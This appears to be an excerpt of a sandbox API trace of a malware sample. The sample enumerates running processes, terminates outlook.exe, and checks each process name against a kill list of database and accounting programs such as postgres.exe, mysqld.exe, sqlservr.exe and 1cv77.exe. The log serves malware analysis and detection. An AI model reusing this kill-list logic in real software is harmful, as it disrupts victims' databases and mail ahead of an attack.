	[0063.006] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.006] lstrlenW (lpString="svchost.exe") returned 11
	[0063.006] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0063.007] lstrlenW (lpString="dwm.exe") returned 7
	[0063.007] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.007] lstrlenW (lpString="svchost.exe") returned 11
	[0063.007] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.008] lstrlenW (lpString="svchost.exe") returned 11
	[0063.008] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.009] lstrlenW (lpString="svchost.exe") returned 11
	[0063.009] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.010] lstrlenW (lpString="svchost.exe") returned 11
	[0063.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.010] lstrlenW (lpString="svchost.exe") returned 11
	[0063.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.012] lstrlenW (lpString="svchost.exe") returned 11
	[0063.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.012] lstrlenW (lpString="svchost.exe") returned 11
	[0063.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.013] lstrlenW (lpString="svchost.exe") returned 11
	[0063.013] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.015] lstrlenW (lpString="svchost.exe") returned 11
	[0063.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.015] lstrlenW (lpString="svchost.exe") returned 11
	[0063.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0063.016] lstrlenW (lpString="spoolsv.exe") returned 11
	[0063.016] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.016] lstrlenW (lpString="svchost.exe") returned 11
	[0063.016] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0063.017] lstrlenW (lpString="audiodg.exe") returned 11
	[0063.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0063.018] lstrlenW (lpString="sihost.exe") returned 10
	[0063.018] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.019] lstrlenW (lpString="svchost.exe") returned 11
	[0063.019] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0063.019] lstrlenW (lpString="taskhostw.exe") returned 13
	[0063.019] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0063.020] lstrlenW (lpString="explorer.exe") returned 12
	[0063.020] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0063.020] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0063.020] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0063.021] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0063.021] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0063.021] lstrlenW (lpString="Memory Compression") returned 18
	[0063.021] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0063.022] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0063.022] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0063.023] lstrlenW (lpString="SearchUI.exe") returned 12
	[0063.023] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0063.023] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0063.023] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0063.024] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0063.024] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0063.025] lstrlenW (lpString="fur-hold.exe") returned 12
	[0063.025] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0063.025] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0063.025] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0063.026] lstrlenW (lpString="vat.exe") returned 7
	[0063.026] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0063.026] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0063.026] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0063.027] lstrlenW (lpString="dllhost.exe") returned 11
	[0063.027] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0063.027] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0063.027] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0063.028] lstrlenW (lpString="paxiltried.exe") returned 14
	[0063.028] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0063.028] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0063.028] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0063.029] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0063.029] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0063.029] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0063.029] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0063.030] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0063.030] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0063.030] lstrlenW (lpString="ride_australian.exe") returned 19
	[0063.030] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0063.031] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0063.031] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0063.031] lstrlenW (lpString="rc remember.exe") returned 15
	[0063.031] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0063.032] lstrlenW (lpString="records replace.exe") returned 19
	[0063.032] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0063.033] lstrlenW (lpString="isp physiology.exe") returned 18
	[0063.033] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0063.033] lstrlenW (lpString="feb.exe") returned 7
	[0063.033] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0063.034] lstrlenW (lpString="citizenship.exe") returned 15
	[0063.034] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0063.034] lstrlenW (lpString="wifi.exe") returned 8
	[0063.034] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0063.035] lstrlenW (lpString="3dftp.exe") returned 9
	[0063.035] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0063.036] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0063.036] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0063.036] lstrlenW (lpString="alftp.exe") returned 9
	[0063.037] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0063.037] lstrlenW (lpString="barca.exe") returned 9
	[0063.037] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0063.038] lstrlenW (lpString="bitkinex.exe") returned 12
	[0063.038] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0063.086] lstrlenW (lpString="coreftp.exe") returned 11
	[0063.086] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0063.087] lstrlenW (lpString="far.exe") returned 7
	[0063.087] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0063.088] lstrlenW (lpString="filezilla.exe") returned 13
	[0063.088] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0063.089] lstrlenW (lpString="flashfxp.exe") returned 12
	[0063.089] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0063.090] lstrlenW (lpString="fling.exe") returned 9
	[0063.090] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0063.090] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0063.091] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0063.091] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0063.091] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0063.092] lstrlenW (lpString="icq.exe") returned 7
	[0063.092] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0063.093] lstrlenW (lpString="leechftp.exe") returned 12
	[0063.093] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0063.094] lstrlenW (lpString="ncftp.exe") returned 9
	[0063.094] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0063.095] lstrlenW (lpString="notepad.exe") returned 11
	[0063.096] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0063.096] lstrlenW (lpString="operamail.exe") returned 13
	[0063.096] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0063.097] lstrlenW (lpString="outlook.exe") returned 11
	[0063.097] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb38) returned 0x244
	[0063.097] TerminateProcess (hProcess=0x244, uExitCode=0x0) returned 1
	[0063.104] CloseHandle (hObject=0x244) returned 1
	[0063.104] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0063.105] lstrlenW (lpString="pidgin.exe") returned 10
	[0063.105] lstrcmpiW (lpString1="1c8.exe", lpString2="pidgin.exe") returned -1
	[0063.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="pidgin.exe") returned -1
	[0063.105] lstrcmpiW (lpString1="outlook.exe", lpString2="pidgin.exe") returned -1
	[0063.105] lstrcmpiW (lpString1="postgres.exe", lpString2="pidgin.exe") returned 1
	[0063.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="pidgin.exe") returned -1
	[0063.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="pidgin.exe") returned -1
	[0063.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="pidgin.exe") returned 1
	[0063.105] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0063.106] lstrlenW (lpString="scriptftp.exe") returned 13
	[0063.106] lstrcmpiW (lpString1="1c8.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="1cv77.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="outlook.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="postgres.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="mysqld.exe", lpString2="scriptftp.exe") returned -1
	[0063.106] lstrcmpiW (lpString1="sqlservr.exe", lpString2="scriptftp.exe") returned 1
	[0063.106] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0063.107] lstrlenW (lpString="skype.exe") returned 9
	[0063.107] lstrcmpiW (lpString1="1c8.exe", lpString2="skype.exe") returned -1
	[0063.107] lstrcmpiW (lpString1="1cv77.exe", lpString2="skype.exe") returned -1
	[0063.107] lstrcmpiW (lpString1="outlook.exe", lpString2="skype.exe") returned -1
	[0063.107] lstrcmpiW (lpString1="postgres.exe", lpString2="skype.exe") returned -1
